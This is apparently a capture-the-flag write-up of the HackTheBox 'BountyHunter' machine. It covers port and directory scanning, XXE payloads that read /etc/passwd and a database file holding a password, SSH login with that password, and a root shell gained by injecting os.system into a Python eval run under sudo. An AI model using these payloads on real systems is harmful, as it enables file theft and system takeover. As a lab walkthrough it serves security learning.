BountyHunter - [HTB]

Cover Image for BountyHunter - [HTB]

Table of Contents


    BountyHunter is an easy linux machine from HackTheBox where the attacker will have to find an XXE injection on a web form, for obtaining the user credentials, and execute code on a ticketing program due to improper input validation.


    As always, let's start finding all opened ports in the machine with nmap.

    kali@kali::~/Documents/HTB/BountyHunter$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt
    Nmap scan report for
    Host is up (0.048s latency).
    Not shown: 65533 closed ports
    22/tcp open  ssh
    80/tcp open  http
    # Nmap done at Sat Jul 24 16:54:15 2021 -- 1 IP address (1 host up) scanned in 25.99 seconds

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali::~/Documents/HTB/BountyHunter$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80
    Nmap scan report for
    Host is up (0.046s latency).
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
    |   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
    |_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Bounty Hunters
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    Having a look at port 80 there is static web page with a portal link.

    Bounty Hackers Web page

    In the portal page there is a text pointing to a bounty tracker ("Portal under development. Go here to test the bounty tracker."), where appears an html form.

    Bounty Report System

    Using burpsuite we can intercept its content that is encoded in base64.

    POST /tracker_diRbPr00f314.php HTTP/1.1
    User-Agent: php echo shell_exec(_GETcmd);
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 269
    Connection: close

    Once the decoded appears an xml structure.

    <?xml  version="1.0" encoding="ISO-8859-1"?>
    		<reward>MORE POTATOES</reward>


    Through XXE injection we can retrieve files from the remote system, like the following.

    <?xml  version="1.0" encoding="ISO-8859-1"?>
    		<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]>

    Sending the previous xml code in base64 allow us to retrieve the users in the system.


    Thanks to gobuster we can discover new hidden files like db.php.

    kali@kali:/media/sf_2_MisPostsBlog/HTB/BountyHunter$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x php,html,txt,doc -t 40 -o dirbuster.txt -u
    Gobuster v3.1.0                                                                       
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                         
    [+] Url:                                              
    [+] Method:                  GET                                                      
    [+] Threads:                 40
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404                                                      
    [+] User Agent:              gobuster/3.1.0                                           
    [+] Extensions:              php,html,txt,doc                                         
    [+] Timeout:                 10s                                                      
    2021/07/24 16:58:43 Starting gobuster in directory enumeration mode                   
    /resources            (Status: 301) [Size: 320] [-->] 
    /index.php            (Status: 200) [Size: 25169]
    /assets               (Status: 301) [Size: 317] [-->]   
    /portal.php           (Status: 200) [Size: 125]     
    /css                  (Status: 301) [Size: 314] [-->]
    /db.php               (Status: 200) [Size: 0]
    /js                   (Status: 301) [Size: 313] [-->]
    /server-status        (Status: 403) [Size: 279]                 
    2021/07/24 17:22:46 Finished                                                          

    With the same technique as before we can obtain its content.

    <?xml  version="1.0" encoding="ISO-8859-1"?>
    		<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=db.php"> ]>
    // TODO -> Implement login system with the database.
    $dbserver = "localhost";
    $dbname = "bounty";
    $dbusername = "admin";
    $dbpassword = "m19RoAU0hP41A1sTsq6K";
    $testuser = "test";

    It turns out that we can access to the machine as the user development with the database password through SSH.

    kali@kali:~/Documents/HTB/BountyHunter$ ssh development@
    development@'s password: m19RoAU0hP41A1sTsq6K
    Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
    development@bountyhunter:~$ id
    uid=1000(development) gid=1000(development) groups=1000(development)
    development@bountyhunter:~$ cat user.txt 

    Privilege Escalation

    The user "development" is able to execute the following python script as root.

    development@bountyhunter:~$ sudo -l
    Matching Defaults entries for development on bountyhunter:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    User development may run the following commands on bountyhunter:
        (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/

    Basically, the script asks for an .md file with the following lines and containing a number which module of 7 is equals to 4 .

    # Skytrain Inc
    ## Ticket to New Haven
    __Ticket Code:__
    ##Issued: 2021/04/06
    #End Ticket

    Nevertheless, there is a vulnerability in the validation number, because it uses the function eval executing everything that is in the ticket code.

    	if code_line and i == code_line:
                if not x.startswith("**"):
                    return False
                ticketCode = x.replace("**", "").split("+")[0]
                if int(ticketCode) % 7 == 4:
                    validationNumber = eval(x.replace("**", ""))
                    if validationNumber > 100:
                        return True
                        return False

    Hence we can create the following ticket, gaining a shell as root.

    development@bountyhunter:~$ cat 
    # Skytrain Inc
    ## Ticket to New Haven
    __Ticket Code:__
    **102+__import__('os').system('/bin/bash -p')**
    ##Issued: 2021/04/06
    development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/
    Please enter the path to the ticket file.
    Destination: New Haven
    root@bountyhunter:/home/development# id
    uid=0(root) gid=0(root) groups=0(root)
    root@bountyhunter: cat /root/root.txt